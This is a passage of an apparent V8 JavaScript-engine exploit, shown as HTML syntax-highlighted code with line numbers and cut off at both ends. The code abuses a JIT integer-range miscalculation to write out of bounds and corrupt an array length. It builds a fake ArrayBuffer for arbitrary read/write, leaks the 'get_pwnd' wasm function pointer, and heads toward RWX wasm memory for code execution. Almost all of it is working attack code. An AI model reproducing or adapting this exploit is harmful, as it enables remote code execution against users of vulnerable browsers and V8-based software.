inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">10</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">138</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">132</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">128</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">65</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">42</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">11</span>]);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 62</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 63</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 64</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 65</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> opt_me = <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">x</span>) =&gt;</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 66</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> arr = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">Array</span>(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.1</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.2</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.3</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.4</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.5</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.6</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.7</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 67</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> y = (( x==<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span> ) ? <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">9007199254740992</span> : <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">9007199254740989</span>) + <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span> + <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 68</span>  y = y - <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">9007199254740989</span>; <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// max=2, actual max=5</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 69</span>  y = y * <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>; <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// max=4, actual max=10</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 70</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 71</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//print(&#34;=====&gt;  0x64length: 0x&#34; + i2f(NEW_LENGTH64) + &#34;  0xc8: 0x&#34; + i2f(NEW_LENGTHC8));</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 72</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// before out of bounds 2 write, don’t call self define func </span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 73</span>  arr[y] = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">4.24399158193e-312</span>;<span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//2.121995790965e-312;  // corrupt arr.length =&gt; i2f(NEW_LENGTH64)</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 74</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 75</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 76</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">var</span> wasmModule = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> WebAssembly.Module(wasmCode);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 77</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">var</span> wasmInstance = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> WebAssembly.Instance(wasmModule, {});<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 78</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">var</span> get_pwnd = wasmInstance.exports.main;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 79</span>  print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[+] Debug get_pwnd...&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 80</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//%DebugPrint(get_pwnd);</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 81</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">var</span> d = get_pwnd();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 82</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">console</span>.log(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[*] return from wasm: &#34;</span> + d);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 83</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 84</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> leak = arr[y];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 85</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> arr2 = <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">Array</span>.of(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.2</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 86</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> evil_ab = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">ArrayBuffer</span>(AB_LENGTH);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 87</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> packed_elements_array = <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">Array</span>.of(MARK1SMI,<span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">Math</span>,MARK2SMI, get_pwnd);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 88</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//let ab_len_idx = arr.indexOf(2.121995790965e-312);//(5.43230922487e-312);</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 89</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> ab_len_idx = arr.indexOf(i2f(AB_LENGTH_MARK));<span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//5.43230922487e-312);//i2f(AB_LENGTH_MARK));</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 90</span>  print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;idx: &#34;</span>+ab_len_idx);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 91</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span>(ab_len_idx==<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">-1</span>)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 92</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 93</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 94</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 95</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (x == <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>){<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 96</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 97</span>    print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[+] Debug arr...&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 98</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//%DebugPrint(arr);</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 99</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">100</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> ibackingstore_ptr = f2i(arr[ab_len_idx + <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>]);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">101</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> fbackingstore_ptr = arr[ab_len_idx + <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">102</span>    print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[+] Found backingstore pointer : &#34;</span> + hexprintablei(ibackingstore_ptr));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">103</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">104</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">105</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> view = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> BigUint64Array(evil_ab);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">106</span>    print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[+] Debug view...&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">107</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//%DebugPrint(view);</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">108</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> (<span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> i = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>; i &lt; ARRAYBUFFER_SIZE / PTR_SIZE; ++i) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">109</span>      view[i] = f2i(arr[ab_len_idx<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">-3</span>+i]);  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// make fakeobj =&gt; evil ab obj</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">110</span>      print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[+] arr&#34;</span>+i+<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;: 0x&#34;</span>+hexprintablei(f2i(arr[ab_len_idx<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">-3</span>+i])) +<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;;view: 0x&#34;</span>+hexprintablei(view[i]));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">111</span>    }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">112</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">113</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">114</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//%SystemBreak();</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">115</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> magic_mark_idx = arr.indexOf(i2f(MARK1));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">116</span>    print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[+] magic_mark_idx: &#34;</span> + magic_mark_idx);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">117</span>    arr[magic_mark_idx+<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>] = tagFloat(fbackingstore_ptr);  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// overwrite MATH PTR</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">118</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">119</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// [4] leak wasm function pointer </span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">120</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> ftagged_wasm_func_ptr = arr[magic_mark_idx+<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">3</span>]; <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// we want to read get_pwnd</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">121</span>    print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[+] get_pwnd ptr: 0x&#34;</span> + hexprintablei(f2i(ftagged_wasm_func_ptr)) );<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">122</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">123</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// set fake_evilab.ArrayBuffer </span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">124</span>    view[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>] = f2i(ftagged_wasm_func_ptr)<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">-1</span>n;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">125</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">126</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// [5] use RW primitive to find WASM RWX memory</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">127</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> rw_view = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> BigUint64Array(packed_elements_array[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>]);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">128</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> shared_function_info = rw_view[WasmOffsets.shared_function_info];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">129</span>    view[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>] = shared_function_info - <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>n; <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// detag pointer</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">130</span>    print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[+] shared info: 0x&#34;</span> + hexprintablei(view[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>]));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">131</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">132</span>    rw_view = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> BigUint64Array(packed_elements_array[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>]);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">133</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> wasm_exported_function_data = rw_view[WasmOffsets.wasm_exported_function_data];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">134</span>    view[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>] = wasm_exported_function_data - <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>n; <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// detag</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">135</span>    print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;[+] export func: 0x&#34;</span> + hexprintablei(view[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>]));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit 